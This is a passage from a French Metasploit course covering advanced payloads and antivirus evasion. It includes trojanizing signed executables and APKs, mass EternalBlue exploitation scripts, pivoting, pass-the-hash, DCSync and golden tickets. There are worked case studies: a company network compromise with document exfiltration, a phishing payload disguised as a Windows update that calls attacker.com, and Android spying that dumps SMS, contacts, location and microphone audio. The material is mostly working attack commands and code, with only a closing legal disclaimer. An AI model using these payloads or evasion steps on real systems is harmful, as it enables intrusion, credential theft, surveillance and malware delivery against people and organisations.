9.7 Payloads Avancés

Bind vs Reverse

# Reverse TCP (victime se connecte à l'attaquant)
windows/meterpreter/reverse_tcp
# Avantage : bypass firewalls sortants faibles

# Bind TCP (attaquant se connecte à la victime)
windows/meterpreter/bind_tcp
# Avantage : pas besoin d'IP publique côté attaquant

# Reverse HTTPS (chiffré, ressemble à du trafic web)
windows/meterpreter/reverse_https

# Reverse DNS (tunneling via DNS)
windows/meterpreter/reverse_tcp_dns

Exemples avec HTTPS

# Générer payload HTTPS
msfvenom -p windows/meterpreter/reverse_https \
  LHOST=192.168.1.50 LPORT=443 \
  -f exe -o backdoor_https.exe

# Handler HTTPS
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/meterpreter/reverse_https
msf6 exploit(handler) > set LHOST 192.168.1.50
msf6 exploit(handler) > set LPORT 443
msf6 exploit(handler) > exploit

10. Techniques Avancées

10.1 Contournement d’Antivirus

Technique 1 : Encodage Multiple

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -i 20 \
  -f exe -o encoded_payload.exe

Technique 2 : Template Injection

# Télécharger un executable légitime et signé
wget https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe

# Injecter le payload
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -x putty.exe -k \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o putty_backdoor.exe

Technique 3 : PowerShell Reflective Injection

# Générer payload PowerShell
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.1.50 LPORT=443 \
  -f psh-reflection -o payload.ps1

# Sur la cible
powershell.exe -ExecutionPolicy Bypass -File payload.ps1

Technique 4 : Veil-Evasion Integration

# Veil génère des payloads furtifs
veil

# Utiliser avec handler Metasploit
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(handler) > exploit

Technique 5 : Custom Crypter

# Créer un crypter basique en Python
# encrypt.py
import sys
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

key = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_EAX)

with open(sys.argv[1], 'rb') as f:
    data = f.read()

ciphertext, tag = cipher.encrypt_and_digest(data)

with open('encrypted.bin', 'wb') as f:
    f.write(cipher.nonce + tag + ciphertext)

print(f"Key: {key.hex()}")

10.2 Exploitation avec Sessions Multiples

# Fichier: mass_exploit.rc
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS file:/tmp/targets.txt
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
set ExitOnSession false
exploit -j -z

# targets.txt contient une IP par ligne
# Lancer
msfconsole -r mass_exploit.rc

10.3 Chaining d’Exploits

# Exemple : exploit web -> pivot -> exploit interne

# 1. Exploiter serveur web
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(tomcat_mgr_upload) > set RHOSTS 203.0.113.50
msf6 exploit(tomcat_mgr_upload) > exploit

# 2. Setup pivoting
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > background

# 3. Scanner le réseau interne via pivot
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(smb_ms17_010) > run

# 4. Exploiter cible interne
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.25
msf6 exploit(ms17_010_eternalblue) > exploit

10.4 Custom Payloads avec MSF Modules

# ~/.msf4/modules/exploits/custom/my_exploit.rb
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'My Custom Exploit',
      'Description'    => %q{
        Custom exploit example
      },
      'Author'         => [ 'Your Name' ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Targets'        =>
        [
          [ 'Windows XP SP3', { 'Ret' => 0x12345678 } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 01 2020'
    ))

    register_options(
      [
        Opt::RPORT(9999)
      ])
  end

  def exploit
    connect

    buf = "A" * 1000  # Votre exploit ici

    sock.put(buf)

    handler
    disconnect
  end
end

10.5 Integration avec Empire/Covenant

# Utiliser MSF pour accès initial, puis lateral movement avec C2

# 1. Exploit avec MSF
meterpreter >

# 2. Upload Empire stager
meterpreter > upload /root/empire_stager.exe C:\\Windows\\Temp\\

# 3. Exécuter
meterpreter > execute -f C:\\Windows\\Temp\\empire_stager.exe

# 4. Maintenant contrôle via Empire pour C2 persistant

10.6 Exploitation de Domaines Active Directory

Kerberoasting

# Depuis Meterpreter sur machine du domaine
meterpreter > load kiwi
meterpreter > kerberos_ticket_list

# Export tickets
meterpreter > kerberos_ticket_use /path/to/ticket.kirbi

# Via module post
msf6 > use post/windows/gather/credentials/domain_hashdump
msf6 post(domain_hashdump) > set SESSION 1
msf6 post(domain_hashdump) > run

Pass-the-Hash

# Utiliser un hash NTLM pour s'authentifier
msf6 > use exploit/windows/smb/psexec
msf6 exploit(psexec) > set RHOSTS 192.168.1.100
msf6 exploit(psexec) > set SMBUser Administrator
msf6 exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf6 exploit(psexec) > exploit

BloodHound Integration

# Collecter données AD
meterpreter > background
msf6 > use post/windows/gather/bloodhound
msf6 post(bloodhound) > set SESSION 1
msf6 post(bloodhound) > run

# Analyser avec BloodHound pour trouver chemins d'attaque

11. Scripts et Automatisation

11.1 Resource Scripts (.rc)

Exemple: Auto-Exploitation

# auto_pwn.rc
workspace -a autopwn
db_nmap -sV 192.168.1.0/24

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run

# Si vulnérable trouvé, exploiter
hosts -c address,os_name -S Windows | cut -d' ' -f1 > /tmp/targets.txt

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS file:/tmp/targets.txt
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
set ExitOnSession false
exploit -j -z

# Exécuter
msfconsole -q -r auto_pwn.rc

Exemple: Handler Multi-Session

# multi_handler.rc
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
set StageEncoder x86/shikata_ga_nai
set EnableStageEncoding true
exploit -j -z

# Lancer en arrière-plan
msfconsole -q -r multi_handler.rc

11.2 Automation avec Ruby API

# autopwn.rb
require 'msf/core'
require 'msf/base'

$framework = Msf::Simple::Framework.create('LogLevel' => 0)

# Charger un exploit
exploit = $framework.exploits.create('windows/smb/ms17_010_eternalblue')

# Configurer
exploit.datastore['RHOSTS'] = '192.168.1.100'
exploit.datastore['RPORT'] = 445

# Payload
payload = $framework.payloads.create('windows/meterpreter/reverse_tcp')
payload.datastore['LHOST'] = '192.168.1.50'
payload.datastore['LPORT'] = 4444

# Exploiter
session = exploit.exploit_simple(
  'Payload'  => payload.refname,
  'LocalInput'  => $stdin,
  'LocalOutput' => $stdout
)

if session
  puts "[+] Session opened!"
  session.console.run_single("sysinfo")
end

11.3 Scripting avec Meterpreter API

# post_exploit.rb - Script Meterpreter personnalisé
client = session
sysinfo = client.sys.config.sysinfo

print_status("OS: #{sysinfo['OS']}")
print_status("Computer: #{sysinfo['Computer']}")

# Dump hashs
hash_dump = client.railgun.priv.hashdump
print_good("Hashes:\n#{hash_dump}")

# Screenshot
screenshot = client.sys.process.capture_screenshot
screenshot.save("/tmp/screenshot.png")
print_good("Screenshot saved")

# Usage depuis Meterpreter
meterpreter > run post_exploit.rb

11.4 Integration avec Python (PyMetasploit)

# exploit.py
from pymetasploit3.msfrpc import MsfRpcClient

# Se connecter au RPC server
client = MsfRpcClient('password', server='127.0.0.1', port=55553)

# Démarrer RPC: msfrpcd -P password -S

# Lister exploits
for exploit in client.modules.exploits:
    print(exploit)

# Utiliser un exploit
exploit = client.modules.use('exploit', 'windows/smb/ms17_010_eternalblue')
exploit['RHOSTS'] = '192.168.1.100'
exploit['RPORT'] = 445

# Payload
payload = client.modules.use('payload', 'windows/meterpreter/reverse_tcp')
payload['LHOST'] = '192.168.1.50'
payload['LPORT'] = 4444

# Exploiter
print(exploit.execute(payload=payload))

# Gérer les sessions
sessions = client.sessions.list
for session_id, session_data in sessions.items():
    print(f"Session {session_id}: {session_data}")

    # Interagir
    shell = client.sessions.session(session_id)
    shell.write('sysinfo\n')
    print(shell.read())

11.5 Automatisation Post-Exploitation

# post_exploit.rc
# Exécuter sur toutes les sessions actives

sessions -l

# Pour chaque session
sessions -s post/windows/gather/hashdump
sessions -s post/windows/gather/enum_logged_on_users
sessions -s post/windows/gather/credentials/windows_autologin
sessions -s post/multi/recon/local_exploit_suggester

# Screenshots de toutes les sessions
sessions -c "screenshot /tmp/screenshot_%sid.png"

# Keylog sur toutes les sessions
sessions -c "keyscan_start"
sleep 300
sessions -c "keyscan_dump"
sessions -c "keyscan_stop"

12. Cas Pratiques Complets

12.1 Cas Pratique 1: Pentest d’une PME

Objectif: Compromission complète d’un réseau de PME

Phase 1: Reconnaissance

# Démarrer Metasploit
msfconsole -q

# Créer workspace
msf6 > workspace -a pme_pentest

# Scan initial
msf6 > db_nmap -sV -sC -O -T4 192.168.10.0/24

# Analyser les résultats
msf6 > hosts
msf6 > services
msf6 > services -p 445  # Machines avec SMB

Phase 2: Exploitation

# Scanner SMB pour vulnérabilités
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.10.0/24
msf6 auxiliary(smb_ms17_010) > run

# Machine vulnérable trouvée: 192.168.10.50
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.10.50
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.10.100
msf6 exploit(ms17_010_eternalblue) > exploit

[*] Meterpreter session 1 opened
meterpreter >

Phase 3: Post-Exploitation

# Informations système
meterpreter > sysinfo
meterpreter > getuid

# Élévation si nécessaire
meterpreter > getsystem

# Dump credentials
meterpreter > load kiwi
meterpreter > creds_all

# Trouvé: domain\admin hash
# NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

# Énumération réseau
meterpreter > run post/windows/gather/enum_domain
meterpreter > run post/windows/gather/enum_logged_on_users

# Persistence
meterpreter > background
msf6 > use exploit/windows/local/registry_persistence
msf6 exploit(registry_persistence) > set SESSION 1
msf6 exploit(registry_persistence) > exploit

Phase 4: Pivoting vers Contrôleur de Domaine

# Découverte réseau interne
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > background

# Scanner DC
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 10.10.10.10
msf6 auxiliary(smb_version) > run

# Pass-the-Hash vers DC
msf6 > use exploit/windows/smb/psexec
msf6 exploit(psexec) > set RHOSTS 10.10.10.10
msf6 exploit(psexec) > set SMBDomain DOMAIN
msf6 exploit(psexec) > set SMBUser Administrator
msf6 exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf6 exploit(psexec) > exploit

[*] Meterpreter session 2 opened
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Phase 5: Dominance du Domaine

# Dump tous les hashs du domaine
meterpreter > load kiwi
meterpreter > dcsync_ntlm krbtgt

# Golden Ticket
meterpreter > golden_ticket_create -u Administrator -d domain.local -s <SID> -k <krbtgt_hash>

# Exfiltration de données
meterpreter > download C:\\Users\\*\\Documents\\*.docx /tmp/exfil/

12.2 Cas Pratique 2: Exploitation d’Application Web

Objectif: Compromission via vulnérabilité web

Reconnaissance

msf6 > workspace -a webapp_test
msf6 > db_nmap -sV -p 80,443,8080,8443 192.168.20.0/24

# Webapp trouvée sur 192.168.20.50:8080
msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(http_version) > set RHOSTS 192.168.20.50
msf6 auxiliary(http_version) > set RPORT 8080
msf6 auxiliary(http_version) > run

# Apache Tomcat détecté

Brute Force Tomcat Manager

msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.20.50
msf6 auxiliary(tomcat_mgr_login) > set RPORT 8080
msf6 auxiliary(tomcat_mgr_login) > run

[+] 192.168.20.50:8080 - LOGIN SUCCESSFUL: tomcat:s3cret

Exploitation

msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(tomcat_mgr_upload) > set RHOSTS 192.168.20.50
msf6 exploit(tomcat_mgr_upload) > set RPORT 8080
msf6 exploit(tomcat_mgr_upload) > set HttpUsername tomcat
msf6 exploit(tomcat_mgr_upload) > set HttpPassword s3cret
msf6 exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp
msf6 exploit(tomcat_mgr_upload) > set LHOST 192.168.20.100
msf6 exploit(tomcat_mgr_upload) > exploit

[*] Meterpreter session 1 opened
meterpreter >

Upgrade Shell et Escalade

# Shell Java limité, upgrade
meterpreter > shell
$ python -c 'import pty;pty.spawn("/bin/bash")'
tomcat@server:/$

# Enumération
$ uname -a
$ cat /etc/*-release

# Recherche de vulnérabilités
meterpreter > background
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run

[+] 192.168.20.50 - exploit/linux/local/cve_2021_4034_pwnkit: The target is vulnerable.

# Exploitation
msf6 > use exploit/linux/local/cve_2021_4034_pwnkit
msf6 exploit(cve_2021_4034_pwnkit) > set SESSION 1
msf6 exploit(cve_2021_4034_pwnkit) > set LHOST 192.168.20.100
msf6 exploit(cve_2021_4034_pwnkit) > exploit

[*] Meterpreter session 2 opened
meterpreter > getuid
Server username: root

12.3 Cas Pratique 3: Phishing avec Metasploit

Objectif: Obtenir accès via payload malveillant

Génération du Payload

# Payload Windows furtif
msfvenom -p windows/meterpreter/reverse_https \
  LHOST=attacker.com LPORT=443 \
  -e x86/shikata_ga_nai -i 10 \
  -x putty.exe -k \
  -f exe -o "Update_KB2024.exe"

# Vérification AV (optionnel)
# Upload sur virustotal ou analyseur local

Setup du Handler

# handler.rc
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set ExitOnSession false
set StageEncoder x86/shikata_ga_nai
set EnableStageEncoding true
exploit -j -z

# Lancer
msfconsole -q -r handler.rc

Livraison (hors scope de ce cours)

Email de phishing avec pièce jointe Update_KB2024.exe
ou hébergement sur site compromis

Réception de la Session

[*] https://attacker.com:443 handling request from 203.0.113.50
[*] Meterpreter session 1 opened

msf6 > sessions -i 1
meterpreter > sysinfo
meterpreter > screenshot
meterpreter > webcam_snap

# Post-exploitation automatique
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > run post/windows/gather/credentials/windows_autologin
meterpreter > load kiwi
meterpreter > creds_all

12.4 Cas Pratique 4: Pentest Android

Objectif: Compromission d’appareil Android

Génération APK Malveillant

# APK standalone
msfvenom -p android/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -o malicious.apk

# Ou injection dans app légitime
# Télécharger une app légitime (.apk)
msfvenom -x legitimate.apk \
  -p android/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -o injected.apk

Setup Handler

msf6 > use exploit/multi/handler
msf6 exploit(handler) > set payload android/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 192.168.1.50
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.50:4444

Installation et Exécution (sur device de test)

# Installer l'APK sur le device
adb install malicious.apk

# Lancer l'app
adb shell am start -n com.metasploit.stage/.MainActivity

Post-Exploitation Android

[*] Meterpreter session 1 opened

meterpreter > sysinfo
meterpreter > ifconfig

# Géolocalisation
meterpreter > run post/android/gather/wlan_geolocate

# Dump SMS
meterpreter > dump_sms

# Dump contacts
meterpreter > dump_contacts

# Dump call logs
meterpreter > dump_calllog

# Capture photos
meterpreter > webcam_list
meterpreter > webcam_snap

# Enregistrement audio
meterpreter > record_mic -d 30

# Monitorer la localisation en continu
meterpreter > run post/android/gather/wireless_spy

Annexes

A. Commandes de Référence Rapide

# Navigation
search <term>                 # Rechercher modules
use <module>                  # Utiliser module
back                          # Retour
info                          # Informations module
show options                  # Options requises
show advanced                 # Options avancées
show payloads                 # Payloads compatibles

# Configuration
set <option> <value>          # Définir option
setg <option> <value>         # Définir globalement
get <option>                  # Voir valeur
unset <option>                # Annuler

# Exécution
check                         # Vérifier vulnérabilité
exploit / run                 # Exploiter
exploit -j                    # Background
exploit -z                    # Ne pas interagir

# Sessions
sessions -l                   # Lister
sessions -i <id>              # Interagir
sessions -k <id>              # Tuer
sessions -u <id>              # Upgrade vers Meterpreter
sessions -K                   # Tuer toutes

# Database
db_status                     # Status DB
workspace -a <name>           # Créer workspace
workspace <name>              # Basculer
db_nmap <options> <target>    # Scan Nmap
hosts                         # Lister hôtes
services                      # Lister services
creds                         # Lister credentials

B. Meterpreter - Référence Rapide

# Système
sysinfo                       # Info système
getuid                        # Utilisateur actuel
ps                            # Processus
migrate <pid>                 # Migrer processus
getpid                        # PID actuel

# Fichiers
pwd / cd / ls                 # Navigation
cat <file>                    # Lire fichier
download <remote> <local>     # Télécharger
upload <local> <remote>       # Uploader
search -f <pattern>           # Chercher fichiers

# Exécution
execute -f <file>             # Exécuter
shell                         # Shell système

# Réseau
ifconfig / route / arp        # Info réseau
portfwd add -l <lp> -p <rp> -r <rh>  # Port forwarding
netstat                       # Connexions réseau

# Privilèges
getsystem                     # Élever à SYSTEM
getprivs                      # Lister privilèges

# Extensions
load <extension>              # Charger (kiwi, incognito, etc)
run <script>                  # Exécuter script

# Pivoting
run autoroute -s <subnet>     # Ajouter route

# Misc
screenshot                    # Capture écran
keyscan_start / dump / stop   # Keylogger
clearev                       # Effacer logs
background                    # Mettre en background

C. MSFVenom - Référence Rapide

# Structure de base
msfvenom -p <payload> <options> -f <format> -o <output>

# Lister
msfvenom --list payloads      # Tous les payloads
msfvenom --list encoders      # Tous les encoders
msfvenom --list formats       # Tous les formats

# Options communes
LHOST=<ip>                    # IP d'écoute
LPORT=<port>                  # Port d'écoute
RHOST=<ip>                    # IP cible (bind)
RPORT=<port>                  # Port cible (bind)

# Flags importants
-e <encoder>                  # Encoder
-i <iterations>               # Itérations encodage
-x <template>                 # Template injection
-k                            # Keep template behavior
-f <format>                   # Format de sortie
-o <file>                     # Fichier de sortie
-b <chars>                    # Bad characters

# Exemples rapides
# Windows EXE
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X LPORT=Y -f exe -o shell.exe

# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=X LPORT=Y -f elf -o shell.elf

# PHP Web Shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=X LPORT=Y -f raw -o shell.php

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=X LPORT=Y -o app.apk

D. Ports Communs et Services

21    - FTP
22    - SSH
23    - Telnet
25    - SMTP
53    - DNS
80    - HTTP
110   - POP3
135   - MS RPC
139   - NetBIOS
143   - IMAP
443   - HTTPS
445   - SMB
1433  - MS SQL
1521  - Oracle
3306  - MySQL
3389  - RDP
5432  - PostgreSQL
5900  - VNC
8080  - HTTP Alternate
8443  - HTTPS Alternate

E. Ressources et Apprentissage Continue

Documentation Officielle: - https://docs.metasploit.com/ - https://github.com/rapid7/metasploit-framework

Environnements de Pratique: - Metasploitable 2/3 (VMs vulnérables) - HackTheBox - TryHackMe - VulnHub - DVWA (Damn Vulnerable Web Application)

Livres Recommandés: - “Metasploit: The Penetration Tester’s Guide” - “Mastering Metasploit”

Communauté: - r/Metasploit - Metasploit Unleashed (cours gratuit) - Offensive Security (OSCP)


Conclusion

Ce cours couvre les fondamentaux et les techniques avancées de Metasploit Framework. La maîtrise de Metasploit nécessite:

  1. Pratique constante - Utilisez des environnements légaux
  2. Mise à jour régulière - Nouvelles vulnérabilités et exploits
  3. Compréhension des systèmes - Comprendre ce que vous exploitez
  4. Éthique - Toujours obtenir autorisation écrite
  5. Apprentissage continu - La cybersécurité évolue rapidement

AVERTISSEMENT LÉGAL: L’utilisation de Metasploit doit se faire uniquement dans un cadre légal et éthique: - Tests de pénétration autorisés par contrat - Environnements de laboratoire personnels - Formation et recherche - Compétitions CTF autorisées

L’utilisation non autorisée est illégale et peut entraîner des poursuites pénales.


Bonne pratique et apprentissage responsable !